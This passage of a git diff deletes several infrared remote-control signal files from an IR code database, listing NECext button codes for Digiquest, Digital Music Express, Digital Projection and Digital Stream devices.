00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 40 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 42 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 45 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 46 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 48 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4C 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 50 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 52 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 54 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 56 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 58 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir deleted file mode 100644 index aa68d625d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RIGHT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 00 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 01 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 03 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 06 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 07 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0B 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 11 00 00 00 -# -name: NAVI -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 12 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 13 00 00 00 -# -name: UNUSED -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 14 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 15 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 16 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 17 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 18 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 19 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1A 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1C 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1D 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1F 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 50 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 58 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir deleted file mode 100644 index f13d76ea4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_-_PREVIOUS -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 0E 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 19 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 1A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_-_UP -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_-_DOWN -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 1E 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 21 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 22 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 24 00 00 00 -# -name: BUY -type: parsed -protocol: NECext -address: 26 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir deleted file mode 100644 index e05d0c00c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: COMPOSITE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: AV-MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: LEFT_KEY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: RIGHT_KEY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: GAMMA_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: GAMMA_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: *_(STAR) -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 20 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 21 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 22 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 23 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 24 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 25 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 26 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 27 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 28 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 29 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir deleted file mode 100644 index b8fc847d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir +++ /dev/null @@ -1,452 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: DUAL_LAMPS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: LAMP_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: LAMP_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: COLOR_TEMP_UNCORRECT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: BRIGHT_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: COLOR_TEMP_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: BRIGHT_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: COMPOSITE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: COLOR_TEMP_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: AV-MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: SHUTTER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: ORIENT_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: ORIENT_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: COLOR_TEMP_D65 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: FOCUS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: IRIS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: LEFT_KEY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: RIGHT_KEY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: GAMMA_- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: GAMMA_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: STAR(*) -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: *_(STAR) -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 20 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 21 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 22 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 23 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 23 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 24 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 26 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 26 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 27 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 27 00 00 00 -# -name: CURSOR_ENTER/LCD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 28 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 28 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 29 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 2A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir deleted file mode 100644 index 24821cb35..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 09 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 12 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 14 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 15 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 18 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 19 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 1A 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 1B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 1C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 1D 00 00 00 -# -name: RED_BUTTON -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 1F 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 25 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 3A 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir deleted file mode 100644 index 4587b95f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 0A 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 0C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 0D 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 0E 00 00 00 -# -name: FAV-CH -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 0F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 10 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 12 00 00 00 -# -name: CURSOR_UP/CH+ -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN/CH- -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 15 00 00 00 -# -name: CURSOR_ENTER/SELECT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 17 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 18 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 19 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 1A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 1B 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 1C 00 00 00 -# -name: METER -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 1D 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_ADD -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_DEL -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 40 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 41 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir deleted file mode 100644 index 0d34384b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 00 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 02 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 03 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 04 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 12 34 